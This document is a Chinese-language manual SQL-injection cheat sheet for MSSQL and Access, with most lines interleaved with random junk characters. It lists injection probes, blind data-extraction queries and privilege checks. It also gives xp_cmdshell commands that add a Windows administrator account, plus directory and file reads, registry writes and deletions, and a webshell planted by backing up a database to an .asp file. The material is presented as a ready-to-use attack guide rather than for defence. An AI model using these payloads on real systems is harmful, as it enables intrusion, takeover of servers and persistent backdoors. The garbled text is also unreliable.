手工脚本注入 ' P4 Y7 c- k( r8 i: J9 F" L! X( x$ _
1.判断是否有注入;and 1=1 ;and 1=2
- j1 \+ a5 Y1 Z3 ]/ m1 B) l7 F
B# ]# t: {3 a3 s$ A$ ]& k2.初步判断是否是mssql ;and user>0 0 I0 a2 X J0 E3 a3 ]. j7 g; V
9 H0 z4 X+ M+ t$ S w3.注入参数是字符'and [查询条件] and ''='
8 S5 A) Z: V9 E$ t4 h
0 g+ P- t( I. x) ^" N4.搜索时没过滤参数的'and [查询条件] and '%25'='
% D$ y! P& f. E& a: k
; B D( \( ]. @0 m0 e5.判断数据库系统 ! n! E. Z/ {6 n0 d) j$ P. j
;and (select count(*) from sysobjects)>0 mssql ( N7 x6 d: g+ L$ [: j
;and (select count(*) from msysobjects)>0 access % s- w/ [% s, C, i5 R# T& n
& Z+ y4 q+ O8 J/ f5 |* i6.猜数据库 ;and (select Count(*) from [数据库名])>0 2 N6 y" C T0 w) f: m: @
, y% g' l4 B2 ?/ N o+ A
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 , K1 } G& r5 a$ o. \) _
w& j# T% w. |- \0 E
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
! d8 I8 r+ |& D8 u6 D: L" J* V, S( D, M6 ?2 F* V* n- C2 e
9.(1)猜字段的ascii值(access) 0 o3 K% Q9 o& a8 j+ ^; o
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
" g3 e7 ^" q4 \8 E, D# d8 g3 i- ^: }+ `# L0 x; W
(2)猜字段的ascii值(mssql)
; f' y+ P) O' z* W% ^& X;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
1 C- a. b6 B0 v5 G% D
c% m1 ]( _: B! {$ e10.测试权限结构(mssql) N9 A' p9 A2 J/ w) c8 O
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
) {$ m: ^% ]/ g# |' O( N;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- % ?6 k# U, v8 D8 j1 z
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
y! n' _4 |3 B! a1 n: u+ [;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
; A$ }2 E5 U7 z/ x;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 4 i' O6 Y. K! Z5 M& W% y) S
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- * d; p. v8 H8 Z0 A2 E
;and 1=(select IS_MEMBER('db_owner'));--
$ y s6 X! U3 o/ m; R4 x. J# Z/ {1 o9 f) q1 k) q2 K
11.添加mssql和系统的帐户
* B. F( f% H! j* ^2 N3 B6 X( m;exec master.dbo.sp_addlogin username;--
3 z L1 Q1 l" E8 Y; o- t3 p. g8 k: ] i3 y1 @
;exec master.dbo.sp_password null,username,password;-- : L5 W7 ` J* A; X2 G& k
5 I/ ^8 C4 h& ];exec master.dbo.sp_addsrvrolemember sysadmin username;-- - [- K( q' ?; ^3 w
$ G0 M7 d8 H: b4 A
;exec master.dbo.xp_cmdshell 'net user username password ' K# p/ F% I+ L' v$ U+ D6 w
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
6 |3 Y, ~4 `3 G5 W s6 ^1 v- L/ w& j$ f! z8 r
;exec master.dbo.xp_cmdshell 'net user username password /add';-- % r ]. J1 c' p, |; t' }
( S0 t/ c) |# X$ W Q
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ) R+ ?" d4 Z1 r; x) `
7 S' ]: ~6 j; A: |7 H0 N7 _
12.(1)遍历目录
" X/ q1 u4 g! n. x8 _' G! ?4 h" E$ [6 f4 L# |
;create table dirs(paths varchar(100), id int)
) c$ V% K$ S& q;insert dirs exec master.dbo.xp_dirtree 'c:\'
$ n4 @# X6 |! q+ v6 ?# g Q;and (select top 1 paths from dirs)>0
+ K" y6 v5 p$ o d0 M6 Z0 Z;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) : H- r! r2 p8 W" c
9 Y; n0 |% I6 {6 Q! T1 K! Q(2)遍历目录
" O1 \. V# M0 }8 h% Q# s# X2 K;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ) B$ v) a( z! J- g3 s# C" C
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
$ v, f V" b- g;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 & ^- o& y( g; T) I4 |% Z# r
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 1 l' d( Z0 C: B* e
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
1 w$ x( M9 D! h$ h: O3 R) F* s4 o7 [
13.mssql中的存储过程
5 [5 H) O, ~9 k h! I- i) p" Y+ Y: U9 R* ?+ n1 p
xp_regenumvalues 注册表根键, 子键 V. i" G' M! k+ I( h
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 0 W' T$ ~. ^2 c( R
, B+ Y5 ]9 F1 w: m2 Z3 ^+ {- L
xp_regread 根键,子键,键值名 4 x# `3 l* y# ~
;exec xp_regread : @5 i( l! m( Z) Y+ |2 s3 T
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
4 o/ i1 S0 O" f; ~+ x8 E5 x& _6 c Q* E
xp_regwrite 根键,子键, 值名, 值类型, 值 4 N* ^! ^6 o9 [9 w3 W
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 & k% [1 N( s9 h, y& f7 v
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 6 x2 F, R( p5 Q3 ~9 f1 c$ R+ r2 i' D
0 T' T( d' ^6 W* M
xp_regdeletevalue 根键,子键,值名 " M7 Z( k3 L1 @6 r7 S! ~. ?6 }$ f2 f
' T" p% ]! ?4 eexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
! N' r8 _- n; d9 K. @
' z2 L5 o4 B# ~# K" jxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 % Y$ b8 w$ `, U
& D2 ]2 `2 x: n14.mssql的backup创建webshell # x' [2 v& f- i* J
use model ( y5 l; f7 u+ r x
create table cmd(str image);
2 M @0 D9 v% Vinsert into cmd(str) values (''); 1 A( `0 H- k3 v# A {" K2 _. _
backup database model to disk='c:\l.asp';
" S4 B. |' s; X0 C* n- N: D0 L% K: N
15.mssql内置函数 5 U4 q% N! g: e& T0 U2 @
;and (select @@version)>0 获得Windows的版本号 ) v4 Z/ L, p: T' q
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1 i I; n% a& A' Z& W2 J t
;and (select user_name())>0 爆当前系统的连接用户 - ?" q# ]. N6 b' x+ M: k' h
;and (select db_name())>0 得到当前连接的数据库 0 y1 }0 E6 |( M
8 @7 j. f3 q3 L0 b3 _* N9 f8 a16.简洁的webshell + P) m8 P+ ^6 j8 C) t
- f& A8 i* T, [: u( [6 P% r* e0 j
use model
( x2 d! g7 z& z4 [1 c9 Q8 X Q( A5 j6 V' I! p4 U
create table cmd(str image); $ w8 b' i" n6 w
8 ~9 {+ ^; ~" P3 Binsert into cmd(str) values ('');
1 i2 C" }2 n) G/ \ X* c
1 m. a! H) Z1 Y' n1 H- w" obackup database model to disk='g:\wwwtest\l.asp';
+ Z3 `! f4 J6 z! k8 h: j1 _ 5 X. U+ Y0 W" ^: }8 g
|